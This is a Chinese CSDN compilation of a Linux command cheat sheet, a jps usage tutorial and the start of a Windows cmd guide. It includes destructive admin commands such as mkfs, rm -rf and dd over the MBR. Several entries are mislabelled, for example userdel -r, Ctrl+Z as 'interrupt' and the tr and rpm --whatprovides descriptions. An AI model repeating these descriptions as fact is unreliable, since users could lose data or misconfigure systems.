命令_命令行 - CSDN
精华内容
参与话题
  • Linux常用命令大全(非常全!!!)

    万次阅读 多人点赞 2019-07-26 11:04:35
    Linux常用命令大全(非常全!!!) 最近都在和Linux打交道,感觉还不错。我觉得Linux相比windows比较麻烦的就是很多东西都要用命令来控制,当然,这也是很多人喜欢linux的原因,比较短小但却功能强大。我将我了解...

    Linux常用命令大全(非常全!!!)

    最近都在和Linux打交道,感觉还不错。我觉得Linux相比windows比较麻烦的就是很多东西都要用命令来控制,当然,这也是很多人喜欢linux的原因,比较短小但却功能强大。我将我了解到的命令列举一下,仅供大家参考:

     

    系统信息 
    arch 显示机器的处理器架构
    uname -m 显示机器的处理器架构
    uname -r 显示正在使用的内核版本 
    dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) 
    hdparm -i /dev/hda 罗列一个磁盘的架构特性 
    hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 
    cat /proc/cpuinfo 显示CPU info的信息 
    cat /proc/interrupts 显示中断 
    cat /proc/meminfo 校验内存使用 
    cat /proc/swaps 显示哪些swap被使用 
    cat /proc/version 显示内核的版本 
    cat /proc/net/dev 显示网络适配器及统计 
    cat /proc/mounts 显示已加载的文件系统 
    lspci -tv 罗列 PCI 设备 
    lsusb -tv 显示 USB 设备 
    date 显示系统日期 
    cal 2007 显示2007年的日历表 
    date 041217002007.00 设置日期和时间 - 月日时分年.秒 
    clock -w 将时间修改保存到 BIOS 



    关机 (系统的关机、重启以及登出 ) 
    shutdown -h now 关闭系统
    init 0 关闭系统
    telinit 0 关闭系统
    shutdown -h hours:minutes & 按预定时间关闭系统 
    shutdown -c 取消按预定时间关闭系统 
    shutdown -r now 重启
    reboot 重启
    logout 注销 



    文件和目录 
    cd /home 进入 '/ home' 目录' 
    cd .. 返回上一级目录 
    cd ../.. 返回上两级目录 
    cd 进入个人的主目录 
    cd ~user1 进入个人的主目录 
    cd - 返回上次所在的目录 
    pwd 显示工作路径 
    ls 查看目录中的文件 
    ls -F 查看目录中的文件 
    ls -l 显示文件和目录的详细资料 
    ls -a 显示隐藏文件 
    ls *[0-9]* 显示包含数字的文件名和目录名 
    tree 显示文件和目录由根目录开始的树形结构
    lstree 显示文件和目录由根目录开始的树形结构
    mkdir dir1 创建一个叫做 'dir1' 的目录' 
    mkdir dir1 dir2 同时创建两个目录 
    mkdir -p /tmp/dir1/dir2 创建一个目录树 
    rm -f file1 删除一个叫做 'file1' 的文件' 
    rmdir dir1 删除一个叫做 'dir1' 的目录' 
    rm -rf dir1 删除一个叫做 'dir1' 的目录并同时删除其内容 
    rm -rf dir1 dir2 同时删除两个目录及它们的内容 
    mv dir1 new_dir 重命名/移动 一个目录 
    cp file1 file2 复制一个文件 
    cp dir/* . 复制一个目录下的所有文件到当前工作目录 
    cp -a /tmp/dir1 . 复制一个目录到当前工作目录 
    cp -a dir1 dir2 复制一个目录 

    cp -r dir1 dir2 复制一个目录及子目录
    ln -s file1 lnk1 创建一个指向文件或目录的软链接 
    ln file1 lnk1 创建一个指向文件或目录的物理链接 
    touch -t 0712250000 file1 修改一个文件或目录的时间戳 - (YYMMDDhhmm) 
    file file1 outputs the mime type of the file as text 
    iconv -l 列出已知的编码 
    iconv -f fromEncoding -t toEncoding inputFile > outputFile creates a new from the given input file by assuming it is encoded in fromEncoding and converting it to toEncoding. 
    find . -maxdepth 1 -name *.jpg -print -exec convert "{}" -resize 80x60 "thumbs/{}" \; batch resize files in the current directory and send them to a thumbnails directory (requires convert from Imagemagick) 



    文件搜索 
    find / -name file1 从 '/' 开始进入根文件系统搜索文件和目录 
    find / -user user1 搜索属于用户 'user1' 的文件和目录 
    find /home/user1 -name \*.bin 在目录 '/ home/user1' 中搜索带有'.bin' 结尾的文件 
    find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件 
    find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件 
    find / -name \*.rpm -exec chmod 755 '{}' \; 搜索以 '.rpm' 结尾的文件并定义其权限 
    find / -xdev -name \*.rpm 搜索以 '.rpm' 结尾的文件,忽略光驱、捷盘等可移动设备 
    locate \*.ps 寻找以 '.ps' 结尾的文件 - 先运行 'updatedb' 命令 
    whereis halt 显示一个二进制文件、源码或man的位置 
    which halt 显示一个二进制文件或可执行文件的完整路径 



    挂载一个文件系统 
    mount /dev/hda2 /mnt/hda2 挂载一个叫做hda2的盘 - 确定目录 '/ mnt/hda2' 已经存在 
    umount /dev/hda2 卸载一个叫做hda2的盘 - 先从挂载点 '/ mnt/hda2' 退出 
    fuser -km /mnt/hda2 当设备繁忙时强制卸载 
    umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用 
    mount /dev/fd0 /mnt/floppy 挂载一个软盘 
    mount /dev/cdrom /mnt/cdrom 挂载一个cdrom或dvdrom 
    mount /dev/hdc /mnt/cdrecorder 挂载一个cdrw或dvdrom 
    mount /dev/hdb /mnt/cdrecorder 挂载一个cdrw或dvdrom 
    mount -o loop file.iso /mnt/cdrom 挂载一个文件或ISO镜像文件 
    mount -t vfat /dev/hda5 /mnt/hda5 挂载一个Windows FAT32文件系统 
    mount /dev/sda1 /mnt/usbdisk 挂载一个usb 捷盘或闪存设备 
    mount -t smbfs -o username=user,password=pass //WinClient/share /mnt/share 挂载一个windows网络共享 



    磁盘空间 
    df -h 显示已经挂载的分区列表 
    ls -lSr |more 以尺寸大小排列文件和目录 
    du -sh dir1 估算目录 'dir1' 已经使用的磁盘空间' 
    du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小 
    rpm -q -a --qf '%10{SIZE}t%{NAME}n' | sort -k1,1n 以大小为依据依次显示已安装的rpm包所使用的空间 (fedora, redhat类系统) 
    dpkg-query -W -f='${Installed-Size;10}t${Package}n' | sort -k1,1n 以大小为依据显示已安装的deb包所使用的空间 (ubuntu, debian类系统) 



    用户和群组 
    groupadd group_name 创建一个新用户组 
    groupdel group_name 删除一个用户组 
    groupmod -n new_group_name old_group_name 重命名一个用户组 
    useradd -c "Name Surname " -g admin -d /home/user1 -s /bin/bash user1 创建一个属于 "admin" 用户组的用户 
    useradd user1 创建一个新用户 
    userdel -r user1 删除一个用户 ( '-r' 排除主目录) 
    usermod -c "User FTP" -g system -d /ftp/user1 -s /bin/nologin user1 修改用户属性 
    passwd 修改口令 
    passwd user1 修改一个用户的口令 (只允许root执行) 
    chage -E 2005-12-31 user1 设置用户口令的失效期限 
    pwck 检查 '/etc/passwd' 的文件格式和语法修正以及存在的用户 
    grpck 检查 '/etc/passwd' 的文件格式和语法修正以及存在的群组 
    newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组 



    文件的权限 - 使用 "+" 设置权限,使用 "-" 用于取消 
    ls -lh 显示权限 
    ls /tmp | pr -T5 -W$COLUMNS 将终端划分成5栏显示 
    chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读(r )、写(w)和执行(x)的权限 
    chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限 
    chown user1 file1 改变一个文件的所有人属性 
    chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性 
    chgrp group1 file1 改变文件的群组 
    chown user1:group1 file1 改变一个文件的所有人和群组属性 
    find / -perm -u+s 罗列一个系统中所有使用了SUID控制的文件 
    chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限 
    chmod u-s /bin/file1 禁用一个二进制文件的 SUID位 
    chmod g+s /home/public 设置一个目录的SGID 位 - 类似SUID ,不过这是针对目录的 
    chmod g-s /home/public 禁用一个目录的 SGID 位 
    chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件 
    chmod o-t /home/public 禁用一个目录的 STIKY 位 



    文件的特殊属性 - 使用 "+" 设置权限,使用 "-" 用于取消 
    chattr +a file1 只允许以追加方式读写文件 
    chattr +c file1 允许这个文件能被内核自动压缩/解压 
    chattr +d file1 在进行文件系统备份时,dump程序将忽略这个文件 
    chattr +i file1 设置成不可变的文件,不能被删除、修改、重命名或者链接 
    chattr +s file1 允许一个文件被安全地删除 
    chattr +S file1 一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘 
    chattr +u file1 若文件被删除,系统会允许你在以后恢复这个被删除的文件 
    lsattr 显示特殊的属性 



    打包和压缩文件 
    bunzip2 file1.bz2 解压一个叫做 'file1.bz2'的文件 
    bzip2 file1 压缩一个叫做 'file1' 的文件 
    gunzip file1.gz 解压一个叫做 'file1.gz'的文件 
    gzip file1 压缩一个叫做 'file1'的文件 
    gzip -9 file1 最大程度压缩 
    rar a file1.rar test_file 创建一个叫做 'file1.rar' 的包 
    rar a file1.rar file1 file2 dir1 同时压缩 'file1', 'file2' 以及目录 'dir1' 
    rar x file1.rar 解压rar包 
    unrar x file1.rar 解压rar包 
    tar -cvf archive.tar file1 创建一个非压缩的 tarball 
    tar -cvf archive.tar file1 file2 dir1 创建一个包含了 'file1', 'file2' 以及 'dir1'的档案文件 
    tar -tf archive.tar 显示一个包中的内容 
    tar -xvf archive.tar 释放一个包 
    tar -xvf archive.tar -C /tmp 将压缩包释放到 /tmp目录下 
    tar -cvfj archive.tar.bz2 dir1 创建一个bzip2格式的压缩包 
    tar -jxvf archive.tar.bz2 解压一个bzip2格式的压缩包 
    tar -cvfz archive.tar.gz dir1 创建一个gzip格式的压缩包 
    tar -zxvf archive.tar.gz 解压一个gzip格式的压缩包 
    zip file1.zip file1 创建一个zip格式的压缩包 
    zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个zip格式的压缩包 
    unzip file1.zip 解压一个zip格式压缩包 



    RPM 包 - (Fedora, Redhat及类似系统) 
    rpm -ivh package.rpm 安装一个rpm包 
    rpm -ivh --nodeeps package.rpm 安装一个rpm包而忽略依赖关系警告 
    rpm -U package.rpm 更新一个rpm包但不改变其配置文件 
    rpm -F package.rpm 更新一个确定已经安装的rpm包 
    rpm -e package_name.rpm 删除一个rpm包 
    rpm -qa 显示系统中所有已经安装的rpm包 
    rpm -qa | grep httpd 显示所有名称中包含 "httpd" 字样的rpm包 
    rpm -qi package_name 获取一个已安装包的特殊信息 
    rpm -qg "System Environment/Daemons" 显示一个组件的rpm包 
    rpm -ql package_name 显示一个已经安装的rpm包提供的文件列表 
    rpm -qc package_name 显示一个已经安装的rpm包提供的配置文件列表 
    rpm -q package_name --whatrequires 显示与一个rpm包存在依赖关系的列表 
    rpm -q package_name --whatprovides 显示一个rpm包所占的体积 
    rpm -q package_name --scripts 显示在安装/删除期间所执行的脚本l 
    rpm -q package_name --changelog 显示一个rpm包的修改历史 
    rpm -qf /etc/httpd/conf/httpd.conf 确认所给的文件由哪个rpm包所提供 
    rpm -qp package.rpm -l 显示由一个尚未安装的rpm包提供的文件列表 
    rpm --import /media/cdrom/RPM-GPG-KEY 导入公钥数字证书 
    rpm --checksig package.rpm 确认一个rpm包的完整性 
    rpm -qa gpg-pubkey 确认已安装的所有rpm包的完整性 
    rpm -V package_name 检查文件尺寸、 许可、类型、所有者、群组、MD5检查以及最后修改时间 
    rpm -Va 检查系统中所有已安装的rpm包- 小心使用 
    rpm -Vp package.rpm 确认一个rpm包还未安装 
    rpm2cpio package.rpm | cpio --extract --make-directories *bin* 从一个rpm包运行可执行文件 
    rpm -ivh /usr/src/redhat/RPMS/`arch`/package.rpm 从一个rpm源码安装一个构建好的包 
    rpmbuild --rebuild package_name.src.rpm 从一个rpm源码构建一个 rpm 包 



    YUM 软件包升级器 - (Fedora, RedHat及类似系统) 
    yum install package_name 下载并安装一个rpm包 
    yum localinstall package_name.rpm 将安装一个rpm包,使用你自己的软件仓库为你解决所有依赖关系 
    yum update package_name.rpm 更新当前系统中所有安装的rpm包 
    yum update package_name 更新一个rpm包 
    yum remove package_name 删除一个rpm包 
    yum list 列出当前系统中安装的所有包 
    yum search package_name 在rpm仓库中搜寻软件包 
    yum clean packages 清理rpm缓存删除下载的包 
    yum clean headers 删除所有头文件 
    yum clean all 删除所有缓存的包和头文件 



    DEB 包 (Debian, Ubuntu 以及类似系统) 
    dpkg -i package.deb 安装/更新一个 deb 包 
    dpkg -r package_name 从系统删除一个 deb 包 
    dpkg -l 显示系统中所有已经安装的 deb 包 
    dpkg -l | grep httpd 显示所有名称中包含 "httpd" 字样的deb包 
    dpkg -s package_name 获得已经安装在系统中一个特殊包的信息 
    dpkg -L package_name 显示系统中已经安装的一个deb包所提供的文件列表 
    dpkg --contents package.deb 显示尚未安装的一个包所提供的文件列表 
    dpkg -S /bin/ping 确认所给的文件由哪个deb包提供 



    APT 软件工具 (Debian, Ubuntu 以及类似系统) 
    apt-get install package_name 安装/更新一个 deb 包 
    apt-cdrom install package_name 从光盘安装/更新一个 deb 包 
    apt-get update 升级列表中的软件包 
    apt-get upgrade 升级所有已安装的软件 
    apt-get remove package_name 从系统删除一个deb包 
    apt-get check 确认依赖的软件仓库正确 
    apt-get clean 从下载的软件包中清理缓存 
    apt-cache search searched-package 返回包含所要搜索字符串的软件包名称 



    查看文件内容 
    cat file1 从第一个字节开始正向查看文件的内容 
    tac file1 从最后一行开始反向查看一个文件的内容 
    more file1 查看一个长文件的内容 
    less file1 类似于 'more' 命令,但是它允许在文件中和正向操作一样的反向操作 
    head -2 file1 查看一个文件的前两行 
    tail -2 file1 查看一个文件的最后两行 
    tail -f /var/log/messages 实时查看被添加到一个文件中的内容 



    文本处理 
    cat file1 file2 ... | command <> file1_in.txt_or_file1_out.txt general syntax for text manipulation using PIPE, STDIN and STDOUT 
    cat file1 | command( sed, grep, awk, grep, etc...) > result.txt 合并一个文件的详细说明文本,并将简介写入一个新文件中 
    cat file1 | command( sed, grep, awk, grep, etc...) >> result.txt 合并一个文件的详细说明文本,并将简介写入一个已有的文件中 
    grep Aug /var/log/messages 在文件 '/var/log/messages'中查找关键词"Aug" 
    grep ^Aug /var/log/messages 在文件 '/var/log/messages'中查找以"Aug"开始的词汇 
    grep [0-9] /var/log/messages 选择 '/var/log/messages' 文件中所有包含数字的行 
    grep Aug -R /var/log/* 在目录 '/var/log' 及随后的目录中搜索字符串"Aug" 
    sed 's/stringa1/stringa2/g' example.txt 将example.txt文件中的 "string1" 替换成 "string2" 
    sed '/^$/d' example.txt 从example.txt文件中删除所有空白行 
    sed '/ *#/d; /^$/d' example.txt 从example.txt文件中删除所有注释和空白行 
    echo 'esempio' | tr '[:lower:]' '[:upper:]' 合并上下单元格内容 
    sed -e '1d' result.txt 从文件example.txt 中排除第一行 
    sed -n '/stringa1/p' 查看只包含词汇 "string1"的行 
    sed -e 's/ *$//' example.txt 删除每一行最后的空白字符 
    sed -e 's/stringa1//g' example.txt 从文档中只删除词汇 "string1" 并保留剩余全部 
    sed -n '1,5p;5q' example.txt 查看从第一行到第5行内容 
    sed -n '5p;5q' example.txt 查看第5行 
    sed -e 's/00*/0/g' example.txt 用单个零替换多个零 
    cat -n file1 标示文件的行数 
    cat example.txt | awk 'NR%2==1' 删除example.txt文件中的所有偶数行 
    echo a b c | awk '{print $1}' 查看一行第一栏 
    echo a b c | awk '{print $1,$3}' 查看一行的第一和第三栏 
    paste file1 file2 合并两个文件或两栏的内容 
    paste -d '+' file1 file2 合并两个文件或两栏的内容,中间用"+"区分 
    sort file1 file2 排序两个文件的内容 
    sort file1 file2 | uniq 取出两个文件的并集(重复的行只保留一份) 
    sort file1 file2 | uniq -u 删除交集,留下其他的行 
    sort file1 file2 | uniq -d 取出两个文件的交集(只留下同时存在于两个文件中的文件) 
    comm -1 file1 file2 比较两个文件的内容只删除 'file1' 所包含的内容 
    comm -2 file1 file2 比较两个文件的内容只删除 'file2' 所包含的内容 
    comm -3 file1 file2 比较两个文件的内容只删除两个文件共有的部分 




    字符设置和文件格式转换 
    dos2unix filedos.txt fileunix.txt 将一个文本文件的格式从MSDOS转换成UNIX 
    unix2dos fileunix.txt filedos.txt 将一个文本文件的格式从UNIX转换成MSDOS 
    recode ..HTML < page.txt > page.html 将一个文本文件转换成html 
    recode -l | more 显示所有允许的转换格式 



    文件系统分析 
    badblocks -v /dev/hda1 检查磁盘hda1上的坏磁块 
    fsck /dev/hda1 修复/检查hda1磁盘上linux文件系统的完整性 
    fsck.ext2 /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性 
    e2fsck /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性 
    e2fsck -j /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性 
    fsck.ext3 /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性 
    fsck.vfat /dev/hda1 修复/检查hda1磁盘上fat文件系统的完整性 
    fsck.msdos /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性 
    dosfsck /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性 



    初始化一个文件系统 
    mkfs /dev/hda1 在hda1分区创建一个文件系统 
    mke2fs /dev/hda1 在hda1分区创建一个linux ext2的文件系统 
    mke2fs -j /dev/hda1 在hda1分区创建一个linux ext3(日志型)的文件系统 
    mkfs -t vfat 32 -F /dev/hda1 创建一个 FAT32 文件系统 
    fdformat -n /dev/fd0 格式化一个软盘 
    mkswap /dev/hda3 创建一个swap文件系统 



    SWAP文件系统 
    mkswap /dev/hda3 创建一个swap文件系统 
    swapon /dev/hda3 启用一个新的swap文件系统 
    swapon /dev/hda2 /dev/hdb3 启用两个swap分区 



    备份 
    dump -0aj -f /tmp/home0.bak /home 制作一个 '/home' 目录的完整备份 
    dump -1aj -f /tmp/home0.bak /home 制作一个 '/home' 目录的交互式备份 
    restore -if /tmp/home0.bak 还原一个交互式备份 
    rsync -rogpav --delete /home /tmp 同步两边的目录 
    rsync -rogpav -e ssh --delete /home ip_address:/tmp 通过SSH通道rsync 
    rsync -az -e ssh --delete ip_addr:/home/public /home/local 通过ssh和压缩将一个远程目录同步到本地目录 
    rsync -az -e ssh --delete /home/local ip_addr:/home/public 通过ssh和压缩将本地目录同步到远程目录 
    dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr 'dd of=hda.gz' 通过ssh在远程主机上执行一次备份本地磁盘的操作 
    dd if=/dev/sda of=/tmp/file1 备份磁盘内容到一个文件 
    tar -Puf backup.tar /home/user 执行一次对 '/home/user' 目录的交互式备份操作 
    ( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr 'cd /home/share/ && tar x -p' 通过ssh在远程目录中复制一个目录内容 
    ( tar c /home ) | ssh -C user@ip_addr 'cd /home/backup-home && tar x -p' 通过ssh在远程目录中复制一个本地目录 
    tar cf - . | (cd /tmp/backup ; tar xf - ) 本地将一个目录复制到另一个地方,保留原有权限及链接 
    find /home/user1 -name '*.txt' | xargs cp -av --target-directory=/home/backup/ --parents 从一个目录查找并复制所有以 '.txt' 结尾的文件到另一个目录 
    find /var/log -name '*.log' | tar cv --files-from=- | bzip2 > log.tar.bz2 查找所有以 '.log' 结尾的文件并做成一个bzip包 
    dd if=/dev/hda of=/dev/fd0 bs=512 count=1 做一个将 MBR (Master Boot Record)内容复制到软盘的动作 
    dd if=/dev/fd0 of=/dev/hda bs=512 count=1 从已经保存到软盘的备份中恢复MBR内容 



    光盘 
    cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force 清空一个可复写的光盘内容 
    mkisofs /dev/cdrom > cd.iso 在磁盘上创建一个光盘的iso镜像文件 
    mkisofs /dev/cdrom | gzip > cd_iso.gz 在磁盘上创建一个压缩了的光盘iso镜像文件 
    mkisofs -J -allow-leading-dots -R -V "Label CD" -iso-level 4 -o ./cd.iso data_cd 创建一个目录的iso镜像文件 
    cdrecord -v dev=/dev/cdrom cd.iso 刻录一个ISO镜像文件 
    gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom - 刻录一个压缩了的ISO镜像文件 
    mount -o loop cd.iso /mnt/iso 挂载一个ISO镜像文件 
    cd-paranoia -B 从一个CD光盘转录音轨到 wav 文件中 
    cd-paranoia -- "-3" 从一个CD光盘转录音轨到 wav 文件中(参数-3) 
    cdrecord --scanbus 扫描总线以识别scsi通道 
    dd if=/dev/hdc | md5sum 校验一个设备的md5sum编码,例如一张 CD 



    网络 - (以太网和WIFI无线) 
    ifconfig eth0 显示一个以太网卡的配置 
    ifup eth0 启用一个 'eth0' 网络设备 
    ifdown eth0 禁用一个 'eth0' 网络设备 
    ifconfig eth0 192.168.1.1 netmask 255.255.255.0 控制IP地址 
    ifconfig eth0 promisc 设置 'eth0' 成混杂模式以嗅探数据包 (sniffing) 
    dhclient eth0 以dhcp模式启用 'eth0' 
    route -n show routing table 
    route add -net 0/0 gw IP_Gateway configura default gateway 
    route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1 configure static route to reach network '192.168.0.0/16' 
    route del 0/0 gw IP_gateway remove static route 
    echo "1" > /proc/sys/net/ipv4/ip_forward activate ip routing 
    hostname show hostname of system 
    host www.example.com lookup hostname to resolve name to ip address and viceversa
    nslookup www.example.com lookup hostname to resolve name to ip address and viceversa
    ip link show show link status of all interfaces 
    mii-tool eth0 show link status of 'eth0' 
    ethtool eth0 show statistics of network card 'eth0' 
    netstat -tup show all active network connections and their PID 
    netstat -tupl show all network services listening on the system and their PID 
    tcpdump tcp port 80 show all HTTP traffic 
    iwlist scan show wireless networks 
    iwconfig eth1 show configuration of a wireless network card 
    hostname show hostname 
    host www.example.com lookup hostname to resolve name to ip address and viceversa 
    nslookup www.example.com lookup hostname to resolve name to ip address and viceversa 
    whois www.example.com lookup on Whois database 

     

    JPS工具

    jps(Java Virtual Machine Process Status Tool)是JDK 1.5提供的一个显示当前所有java进程pid的命令,简单实用,非常适合在linux/unix平台上简单察看当前java进程的一些简单情况。

        我想很多人都是用过unix系统里的ps命令,这个命令主要是用来显示当前系统的进程情况,有哪些进程,及其 id。 jps 也是一样,它的作用是显示当前系统的java进程情况,及其id号。我们可以通过它来查看我们到底启动了几个java进程(因为每一个java程序都会独占一个java虚拟机实例),和他们的进程号(为下面几个程序做准备),并可通过opt来查看这些进程的详细启动参数。

         使用方法:在当前命令行下打 jps(需要JAVA_HOME,没有的话,到改程序的目录下打) 。

    jps存放在JAVA_HOME/bin/jps,使用时为了方便请将JAVA_HOME/bin/加入到Path.

    $> jps
    23991 Jps
    23789 BossMain
    23651 Resin

     


    比较常用的参数:

    -q 只显示pid,不显示class名称,jar文件名和传递给main 方法的参数
    $>  jps -q
    28680
    23789
    23651

    -m 输出传递给main 方法的参数,在嵌入式jvm上可能是null

    $> jps -m
    28715 Jps -m
    23789 BossMain
    23651 Resin -socketwait 32768 -stdout /data/aoxj/resin/log/stdout.log -stderr /data/aoxj/resin/log/stderr.log

    -l 输出应用程序main class的完整package名 或者 应用程序的jar文件完整路径名

    $> jps -l
    28729 sun.tools.jps.Jps
    23789 com.asiainfo.aimc.bossbi.BossMain
    23651 com.caucho.server.resin.Resin

    -v 输出传递给JVM的参数

    $> jps -v
    23789 BossMain
    28802 Jps -Denv.class.path=/data/aoxj/bossbi/twsecurity/java/trustwork140.jar:/data/aoxj/bossbi/twsecurity/java/:/data/aoxj/bossbi/twsecurity/java/twcmcc.jar:/data/aoxj/jdk15/lib/rt.jar:/data/aoxj/jd

    k15/lib/tools.jar -Dapplication.home=/data/aoxj/jdk15 -Xms8m
    23651 Resin -Xss1m -Dresin.home=/data/aoxj/resin -Dserver.root=/data/aoxj/resin -Djava.util.logging.manager=com.caucho.log.LogManagerImpl -

    Djavax.management.builder.initial=com.caucho.jmx.MBeanServerBuilderImpl

    sudo jps看到的进程数量最全

    jps 192.168.0.77

    列出远程服务器192.168.0.77机器所有的jvm实例,采用rmi协议,默认连接端口为1099

    (前提是远程服务器提供jstatd服务)

    注:jps命令有个地方很不好,似乎只能显示当前用户的java进程,要显示其他用户的还是只能用unix/linux的ps命令。

    转自:https://www.cnblogs.com/yjd_hycf_space/p/7730690.html

    详细情况请参考sun官方文档。
    http://java.sun.com/j2se/1.7.0/docs/tooldocs/share/jps.html

    展开全文
  • DOS命令大全(完整版).pdf

    千次下载 热门讨论 2020-07-30 23:30:44
    DOS命令大全(完整版).pdf,内容完整,清晰,与大家共享!
  • windows常用命令行命令

    万次阅读 多人点赞 2020-03-08 13:57:41
    windows常用命令 打开"运行"对话框(Win+R),输入cmd,打开控制台命令窗口… 也可以通过cmd /c 命令 和 cmd /k 命令的方式来直接运行命令 注:/c表示执行完命令后关闭cmd窗口;/k表示执行完命令后保留cmd窗口 ...

    windows常用命令
    打开"运行"对话框(Win+R),输入cmd,打开控制台命令窗口…

    也可以通过cmd /c 命令 和 cmd /k 命令的方式来直接运行命令

    注:/c表示执行完命令后关闭cmd窗口;/k表示执行完命令后保留cmd窗口

    控制台命令窗口中一些技巧

    复制内容:右键弹出快捷菜单,选择“标记(K)”,然后选中所需复制的内容,然后右键即可

    粘贴内容:右键弹出快捷菜单,选择“粘贴§”

    在文件夹空白处按住Shift,然后右键弹出快捷菜单,可以看到“在此处打开命令行窗口”

    使用上下方向键,翻看使用过的命令

    tab补齐功能

    命令参数的路径:要使用反斜杠’’,不要使用正斜杠’/’ 如:del d:\test2\file\my.txt

    命令参数的路径:若存在空格,应使用双引号将路径引起来 如:del “d:\program files\file\my.txt”

    文件及目录名中不能包含下列任何字符:\ / : * ? " < > |

    rem // 在批处理文件中添加注解,其后的命令不会被执行,但会回显

    :: // ::也可以起到rem的注释作用,且不会有回显

    任何以冒号:开头的字符行, 在批处理中都被视作标号(label), 而直接忽略其后的所有内容
    有效标号:冒号后紧跟一个以字母数字开头的字符串,goto语句可以识别
    无效标号:冒号后紧跟一个非字母数字的一个特殊符号,goto无法识别的标号,可以起到注释作用,::常被用作注释符号

    1. 获取帮助

    command /? // 查看command命令帮助说明

    1. 中断命令执行

    Ctrl + Z

    1. 文件/目录

    cd 切换目录

    例:cd // 显示当前目录

    例:cd … // 进入父目录

    例:cd /d d: // 进入上次d盘所在的目录(或在直接输入:d:)

    例:cd /d d:\ // 进入d盘根目录

    例:cd d: // 显示上次d盘所在的目录

    例:cd /d d:\src // 进入d:\src目录

    例:cd prj\src\view // 进入当前目录下的prj\src\view文件夹

    pushd popd 使用栈来维护当前目录

    md d:\mp3 // 在D:\建立mp3文件夹
    md d:\mp4 // 在D:\建立mp4文件夹
    cd /d d:\mp4 // 更改当前目录为d:\mp4
    pushd c:\mp3 // 将当前目录d:\mp4入栈,并切换当前目录为c:\mp3
    popd // 将刚才保存的d:\mp4弹栈,并设置为当前目录

    dir 显示目录中的内容

    例:dir // 显示当前目录中的子文件夹与文件

    例:dir /b // 只显示当前目录中的子文件夹与文件的文件名

    例:dir /p // 分页显示当前目录中的子文件夹与文件

    例:dir /ad // 显示当前目录中的子文件夹

    例:dir /a-d // 显示当前目录中的文件

    例:dir c:\test // 显示c:\test目录中的内容

    例:dir keys.txt // 显示当前目录中keys.txt的信息

    例:dir /S // 递归显示当前目录中的内容

    例:dir key* // 显示当前目录下以key开头的文件和文件夹的信息

    例:dir /AH /OS // 只显示当前目录中隐藏的文件和目录,并按照文件大小从小到大排序

    tree 显示目录结构

    例:tree d:\myfiles // 显示d:\myfiles目录结构

    ren 文件或目录重命名

    例:ren rec.txt rec.ini // 将当前目录下的rec.txt文件重命名为rec.ini

    例:ren c:\test test_01 // 将c盘下的test文件夹重命名为test_01

    例:ren Logs.txt Logs-%date:0,4%%date:5,2%%date:8,2%_%time:0,2%%time:~3,2%.txt // 将当前目录下的Logs.txt文件重命名为Logs-20150114_2135.txt或Logs-20150114_ 812.txt(注意:小时只有个位数时会多一个空格,可以使用字符串替换:将空格替换成0)

    md 创建目录

    例:md movie music // 在当前目录中创建名为movie和music的文件夹

    例:md d:\test\movie // 创建d:\test\movie目录

    rd 删除目录

    例:rd movie // 删除当前目录下的movie空文件夹

    例:rd /s /q d:\test // 使用安静模式删除d:\test(除目录本身外,还将删除指定目录下的所有子目录和文件)

    copy 拷贝文件

    例:copy key.txt c:\doc // 将当前目录下的key.txt拷贝到c:\doc下(若doc中也存在一个key.txt文件,会询问是否覆盖)

    例:copy jobs c:\doc // 将当前目录下jobs文件夹中文件(不递归子目录)拷贝到c:\doc下(若doc中也存在相应的文件,会询问是否覆盖)

    例:copy key.txt c:\doc\key_bak.txt // 将当前目录下的key.txt拷贝到c:\doc下,并重命名为key_bak.txt(若doc中也存在一个key_bak.txt文件,会询问是否覆盖)

    例:copy /Y key.txt c:\doc // 将当前目录下的key.txt拷贝到c:\doc下(不询问,直接覆盖写)

    例:copy key.txt + // 复制文件到自己,实际上是修改了文件日期

    例:copy /Y key1.txt + key2.txt key.txt // 将当前目录下的key1.txt与key2.txt的内容合并写入key.txt中(不询问,直接覆盖写)

    例:copy /B art_2.7z.* art_2.7z // 将当前目录下的art_2.7z.开头的所有文件(按照名称升序排序)依次合并生成art_2.7z

    例:copy /B art_2.7z.001+art_2.7z.002 art_2.7z // 将当前目录下的art_2.7z.001、art_2.7z.002文件合并生成art_2.7z

    xcopy 更强大的复制命令

    例:xcopy c:\bat\hai d:\hello\ /s /h /e /f /c // 将c:\bat\hai中的所有内容拷贝到d:\hello中 注意:需要在hello后加上\ 表示hello为一个目录,否则xcopy会询问hello是F,还是D

    例:xcopy c:\bat\hai d:\hello\ /d:12-29-2010 // 将c:\bat\hai中的2010年12月29日后更改的文件拷贝到d:\hello中

    move 移动文件

    例:move *.png test // 将当前目录下的png图片移动到当前目录下test文件夹中 (若test中也存在同名的png图片,会询问是否覆盖)

    例:move /Y *.png test // 将当前目录下的png图片移动到当前目录下test文件夹中 (不询问,直接覆盖写)

    例:move 1.png d:\test\2.png // 将当前目录下的1.png移动到d盘test文件夹中,并重命名为2.png (若test中也存在同名的png图片,会询问是否覆盖)

